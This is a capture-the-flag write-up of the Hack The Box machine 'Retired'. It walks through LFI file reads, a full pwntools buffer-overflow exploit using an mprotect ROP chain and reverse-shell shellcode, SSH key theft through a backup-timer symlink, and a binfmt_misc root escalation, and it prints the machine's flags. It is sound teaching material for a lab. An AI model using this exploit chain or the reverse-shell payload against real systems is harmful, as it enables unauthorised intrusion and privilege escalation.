Edgar Ordóñez

Hack The Box Retired - Writeup

htb

Retired is a Linux machine, level medium, from Hack The Box. Created by uco2KFh.
We will find a Local File Inclusion (LFI) that will lead us to a binary running inside our victim.
This binary will be vulnerable to a buffer overflow, but it has ASLR, NX, and PIE enabled. Will need to play with ROP chains, mprotect, etc., to make the stack executable, and run our payload to get a reverse shell.

After that, we will get access to our machine as www-data.
A lateral movement abusing a timer that is running to create web backups will be needed to get the user flag.
After that, we will use binfmt_misc to escalate privileges.

Nmap scan

# Nmap 7.92 scan initiated Sat Apr 23 14:39:51 2022 as: nmap -sCV -v -p22,80 -oN targeted 10.129.133.34  
Nmap scan report for 10.129.133.34  
Host is up (0.039s latency).  
  
PORT   STATE SERVICE VERSION  
22/tcp open  ssh     OpenSSH 8.4p1 Debian 5 (protocol 2.0)  
| ssh-hostkey: |   3072 77:b2:16:57:c2:3c:10:bf:20:f1:62:76:ea:81:e4:69 (RSA)  
|   256 cb:09:2a:1b:b9:b9:65:75:94:9d:dd:ba:11:28:5b:d2 (ECDSA)  
|_  256 0d:40:f0:f5:a8:4b:63:29:ae:08:a1:66:c1:26💿6b (ED25519)  
80/tcp open  http    nginx  
| http-methods: |_  Supported Methods: GET HEAD POST  
| http-title: Agency - Start Bootstrap Theme  
|_Requested resource was /index.php?page=default.html  
|_http-favicon: Unknown favicon MD5: 556F31ACD686989B1AFCF382C05846AA  
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel  
  
Read data files from: /usr/bin/../share/nmap  
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .  

Port 80

In port 80 we have a web. We can see with Wappalyzer or whatweb that it’s not a CMS like Wordpress, Joomla, etc.

We can appreciate the parameter page= in the URL. We can try to see if it’s vulnerable to a LFI (Local File Inclusion).

After some attempts, we can see that it is vulnerable, but using some wrappers.

  • filter:///etc/passwd

  • php://filter/convert.base64-encode/resource=/etc/passwd

Using the PHP Wrapper we can get the php files, converting them into base64, but first, let fuzz a bit.

wfuzz -c --hc=404 -t 200 -w /usr/share/seclists/Discovery/Web-Content/directory-list-2.3-medium.txt http://retired.htb/FUZZ.html  
=====================================================================  
ID           Response   Lines    Word       Chars       Payload                             =====================================================================                                                                                                                   000000040:   200        188 L    824 W      11414 Ch    "default"                           000000916:   200        72 L     304 W      4144 Ch     "beta"

Let’s check this resource.

We have a form to upload files. If we try to upload something, we will be “stuck” in http://retired.htb/activate_license.php Well… we can’t see anything, so let’s use the PHP base64 wrappers, let’s see what this activate_license.php is doing.

curl -s -X GET 'http://retired.htb/index.php?page=php://filter/convert.base64-encode/resource=activate_license.php' | base64 -d  
<?php  
if(isset($_FILES['licensefile'])) {  
    $license      = file_get_contents($_FILES['licensefile']['tmp_name']);    $license_size = $_FILES['licensefile']['size'];  
    $socket = socket_create(AF_INET, SOCK_STREAM, SOL_TCP);    if (!$socket) { echo "error socket_create()\n"; }  
    if (!socket_connect($socket, '127.0.0.1', 1337)) {        echo "error socket_connect()" . socket_strerror(socket_last_error()) . "\n";    }  
    socket_write($socket, pack("N", $license_size));    socket_write($socket, $license);  
    socket_shutdown($socket);    socket_close($socket);}  
?>  

We found something interesting here! We have a process running in 127.0.0.1:1337, but this port it’s open just internally.

Let’s try to find using the LFI what is going on there…

There are multiple ways to find this, you can fuzz the /proc/<PID>/cmdline, or for example try to find something in proc/sched_debug

curl -s -X GET 'http://retired.htb/index.php?page=file:////proc/sched_debug' | grep "activate"  
S activate_licens 410 15597.703595 10 120 0.000000 3.824783 0.000000 0 0

Now, we got the PID, we can see how it was launched in /proc/410/cmdline, and we will see something like /usr/bin/activate_license1337

Alright, let’s download this binary. We will use base64 for that again.

curl -s -X GET 'http://retired.htb/index.php?page=php://filter/convert.base64-encode/resource=/usr/bin/activate_license' | base64 -d > activate_license  
chmod +x activate_license  
file activate_licenseactivate_license: ELF 64-bit LSB pie executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, BuildID[sha1]=554631debe5b40be0f96cabea315eedd2439fb81, for GNU/Linux 3.2.0, with debug_info, not stripped  
checksec activate_license[*] '/home/edbrsk/CTFs/htb/retired/content/activate_license'  
    Arch:     amd64-64-little    RELRO:    Full RELRO    Stack:    No canary found    NX:       NX enabled    PIE:      PIE enabled    curl -s -X GET 'http://retired.htb/index.php?page=file:///proc/sys/kernel/randomize_va_space'2  

We have ASLR activated, NX enabled, PIE enabled.

BOF

We have to download the files from the remote server and save them on our machine.

curl -s -X GET 'http://retired.htb/index.php?page=php://filter/convert.base64-encode/resource=/usr/lib/x86_64-linux-gnu/libc-2.31.so' | base64 -d > libc-2.31.socurl -s -X GET 'http://retired.htb/index.php?page=php://filter/convert.base64-encode/resource=/usr/lib/x86_64-linux-gnu/libsqlite3.so.0.8.6' | base64 -d > libsqlite3.so.0.8.6

Now, we will try to see if this binary is vulnerable to buffer overflow, and if so, we need to know the offset.

To send our payload I’ll use the activate_license.php.

php -S localhost:8081 activate_license.php

Start gdb-peda, imporant that the binary will be listening in port 1337

gdb --args ./activate_license 1337  
gdb-peda$ pattern_create 800 pattern.txt  
gdb-peda$ run  

Using Burpsuite we can intercept the request, then click on “Action” -> “Copy as curl command” -> Change the URL to http://localhost:8081, send it and done!

gdb-peda$ x/wx $rsp  
gdb-peda$ pattern_offset 0x416a7341  
1097495361 found at offset: 520

As we can see, offset found: 520. Now we have to make the stack executable.

Exploit

#!/usr/bin/python3  
  
from pwn import *  
import time,socket,signal,sys,struct,socket,threading,re,requests  
  
def signal_handler(sig, frame):  
log.info("Exit...")  
sys.exit(0)  
  
  
def make_request(payload):  
log.info("Sending payload...")  
data = {'licensefile': ('key.txt', payload, 'application/octet-stream')}  
headers = {  
"Accept": "application/octet-stream",  
"Accept-Encoding": "gzip, deflate",  
"Connection": "close",  
"Upgrade-Insecure-Requests": "1"  
}  
requests.post('http://retired.htb/activate_license.php', files=data, headers=headers)  
  
  
signal.signal(signal.SIGINT, signal_handler)  
  
if __name__ == '__main__':  
context.clear(arch='amd64')  
  
    log.info("Exploting activate_license...")  
    # PID activate_license in /proc/sched_debug    # addresses in /proc/<PID>/maps    # 7f6c2fd9a000-7f6c2fdbf000 r--p 00000000 08:01 3634                       /usr/lib/x86_64-linux-gnu/libc-2.31.so    libc_base = int('7f6c2fd9a000', 16)  
    # 7f6c2ff5f000-7f6c2ff6f000 r--p 00000000 08:01 5321                       /usr/lib/x86_64-linux-gnu/libsqlite3.so.0.8.6    libsqlite_base = int('7f6c2ff5f000', 16)  
    # 7ffef4ffb000-7ffef501c000 rw-p 00000000 00:00 0                          [stack]    stack_base = int('7ffef4ffb000', 16)    stack_end = int('7ffef501c000', 16)  
    # calc size of stack for mprotect    stack_size = stack_end - stack_base  
    log.info(f"libc_base      -> {hex(libc_base)}")    log.info(f"libsqlite_base -> {hex(libsqlite_base)}")    log.info(f"stack_base     -> {hex(stack_base)}")    log.info(f"stack_end      -> {hex(stack_end)}")    log.info(f"stack_size     -> {hex(stack_size)}")  
    # msfvenom -p linux/x64/shell_reverse_tcp LHOST=<<ip address>> LPORT=<<Port>> -f py    buf =  b""    buf += b"\x6a\x29\x58\x99\x6a\x02\x5f\x6a\x01\x5e\x0f\x05\x48"    buf += b"\x97\x48\xb9\x02\x00\x01\xbb\x0a\x0a\x0e\x3e\x51\x48"    buf += b"\x89\xe6\x6a\x10\x5a\x6a\x2a\x58\x0f\x05\x6a\x03\x5e"    buf += b"\x48\xff\xce\x6a\x21\x58\x0f\x05\x75\xf6\x6a\x3b\x58"    buf += b"\x99\x48\xbb\x2f\x62\x69\x6e\x2f\x73\x68\x00\x53\x48"    buf += b"\x89\xe7\x52\x57\x48\x89\xe6\x0f\x05"  
    # download files from the server and save them locally    libc = ELF("/home/edbrsk/CTFs/htb/retired/content/libc-2.31.so", checksec=False)    libc.address = libc_base  
    libsql = ELF("/home/edbrsk/CTFs/htb/retired/content/libsqlite3.so.0.8.6", checksec=False)    libsql.address = libsqlite_base  
    # ROP    rop = ROP([libc, libsql])    mprotect = libc.symbols['mprotect'] # readelf -s libc.so.6 | grep mprotect    pop_rdi  = rop.rdi[0]               # ropper -f libc.so.6 --search "pop rdi"    pop_rsi  = rop.rsi[0]               # ropper -f libc.so.6 --search "pop rsi"    pop_rdx  = rop.rdx[0]               # ropper -f libc.so.6 --search "pop rdx"    jmp_rsp  = rop.jmp_rsp[0]           # ropper -f libsqlite3.so.0.8.6 --search "jmp rsp"  
    # offset found using gdb    offset = 520    chunk  = b'A' * offset  
    # Payload    payload = chunk    # int mprotect(void *addr, size_t len, int prot);    payload += p64(pop_rdi) + p64(stack_base)        # addr = begin of the Stack    payload += p64(pop_rsi) + p64(stack_size)        # len = size of the Stack    payload += p64(pop_rdx) + p64(7)                 # prot = rwx - 777 permissions to the Stack    payload += p64(mprotect)                         # call to mprotect function    payload += p64(jmp_rsp)                          # jmp rsp    payload += buf                                   # adding shellcode  
    try:        threading.Thread(target=make_request, args=(payload,)).start()    except Exception as e:        log.error(str(e))  
    shell = listen(443, timeout=20).wait_for_connection()  
    shell.interactive()

I’ll create a post soon explaining the techniques used in this exploit.
For now, I’ll share also some other good resources that could help you to understand a bit more about what’s going on here.

After running our exploit…

./exploit_retired.py  
[*] Exploting activate_license...  
[*] libc_base      -> 0x7fcb90fde000  
[*] libsqlite_base -> 0x7fcb911a3000  
[*] stack_base     -> 0x7ffc6d6ca000  
[*] stack_end      -> 0x7ffc6d6eb000  
[*] stack_size     -> 0x21000  
[*] Loaded 190 cached gadgets for '/home/edbrsk/CTFs/htb/retired/content/libc-2.31.so'  
[*] Loaded 162 cached gadgets for '/home/edbrsk/CTFs/htb/retired/content/libsqlite3.so.0.8.6'  
[*] Sending payload...  
[+] Trying to bind to :: on port 443: Done  
[+] Waiting for connections on :::443: Got connection from ::ffff:10.129.109.45 on port 45970  
[*] Switching to interactive mode  
$ iduid=33(www-data) gid=33(www-data) groups=33(www-data)  
$ whoamiwww-data  

User flag

We got a shell as www-data. Doing a simple ls in /var/www we can see some *.zip files.

ls  
2022-05-14_11-42-01-html.zip  
2022-05-14_11-43-01-html.zip  
2022-05-14_11-44-01-html.zip  
html  
license.sqlite  

We can try to see if there is any cron or timer doing some automatic backup.

systemctl list-timersNEXT                        LEFT           LAST                        PASSED       UNIT                         ACTIVATESSat 2022-05-14 12:14:00 UTC 21s left       Sat 2022-05-14 12:13:01 UTC 37s ago      website_backup.timer         website_backup.service

There is a timer called website_backup. Let’s see what is it doing.

cd /etc/systemd/system$ cat website_backup.timer[Unit]  
Description=Regularly backup the website as long as it is still under development  
  
[Timer]  
OnCalendar=minutely  
  
[Install]  
WantedBy=multi-user.target  
$ cat website_backup.service[Unit]  
Description=Backup and rotate website  
  
[Service]  
User=dev  
Group=www-data  
ExecStart=/usr/bin/webbackup  
  
[Install]  
WantedBy=multi-user.target  
  
$ cat /usr/bin/webbackup#!/bin/bash  
set -euf -o pipefail  
cd /var/www/  
SRC=/var/www/html  
DST="/var/www/$(date +%Y-%m-%d_%H-%M-%S)-html.zip"  
  
/usr/bin/rm --force -- "$DST"/usr/bin/zip --recurse-paths "$DST" "$SRC"  
KEEP=10  
/usr/bin/find /var/www/ -maxdepth 1 -name '*.zip' -print0 \    | sort --zero-terminated --numeric-sort --reverse \    | while IFS= read -r -d '' backup; do        if [ "$KEEP" -le 0 ]; then            /usr/bin/rm --force -- "$backup"        fi        KEEP="$((KEEP-1))"    done$

Alright… The user “dev” is executing the script, and this script is creating each minute a *.zip with the content inside /var/www/html.
Easy! Let’s create a symlink like this ln -s /home/dev/.ssh/id_rsa id_rsa.txt inside /var/www/html.
After that, copy the latest zip in /tmp, unzip it, and we’ll get the id_rsa of our user dev.

Now we can use the id_rsa to get access with ssh as dev.

❯ ssh dev@retired.htb -i id_rsaLinux retired 5.10.0-11-amd64 #1 SMP Debian 5.10.92-2 (2022-02-28) x86_64  
  
The programs included with the Debian GNU/Linux system are free software;  
the exact distribution terms for each program are described in the  
individual files in /usr/share/doc/*/copyright.  
  
Debian GNU/Linux comes with ABSOLUTELY NO WARRANTY, to the extent  
permitted by applicable law.  
Last login: Fri May 13 16:43:10 2022 from 10.10.14.55  
dev@retired:~$ ls  
activate_license  emuemu  user.txt  
dev@retired:~$ cat user.txt 1a635b3a5d1f8fb92b5cbdce975caca2  
dev@retired:~$   

Privilege escalation (root flag)

Let’s escalate privileges! We saw a folder called emuemu inside /home/dev/.
Taking a look what it’s inside, we’ll found some binaries and C code.

There is a file called reg_helper.c.

dev@retired:~/emuemu$ cat reg_helper.c  
#define _GNU_SOURCE  
  
#include <fcntl.h>  
#include <stdio.h>  
#include <string.h>  
#include <sys/stat.h>  
#include <sys/types.h>  
#include <unistd.h>  
  
int main(void) {char cmd[512] = { 0 };  
    read(STDIN_FILENO, cmd, sizeof(cmd)); cmd[-1] = 0;  
  
    int fd = open("/proc/sys/fs/binfmt_misc/register", O_WRONLY);    if (-1 == fd)        perror("open");    if (write(fd, cmd, strnlen(cmd,sizeof(cmd))) == -1)        perror("write");    if (close(fd) == -1)        perror("close");  
    return 0;}  

It’s quite noticeable the path /proc/sys/fs/binfmt_misc/register, and a bit of Google it’s enough to find an exploit.
The exploit it’s quite interesting, it’s playing with magic bytes to change the SUID, you can read more about it here.

The exploit requires some modification.
We will have to remove the not_writable function, and we will change the line 101 to

echo "$binfmt_line" | /usr/lib/emuemu/reg_helper  

so we’ll be using the pipe command to use the echo as input for our emuemu “reg_helper”.

Let’s execute it!

dev@retired:~$ ./binfmt_rootkit  
./binfmt_rootkit: line 47: not_writeable: command not founduid=0(root) euid=0(root)  
# whoami  
root  
# cd /root  
# ls  
cleanup.sh  root.txt# cat root.txt  
ea39f0538ab28cfd7ff1baa2c8a5c901  

That’s it! We are root!

I really liked Retired. I learned a lot with this box. Hopefully, this write-up it’s been useful for you too, and you learned something from it.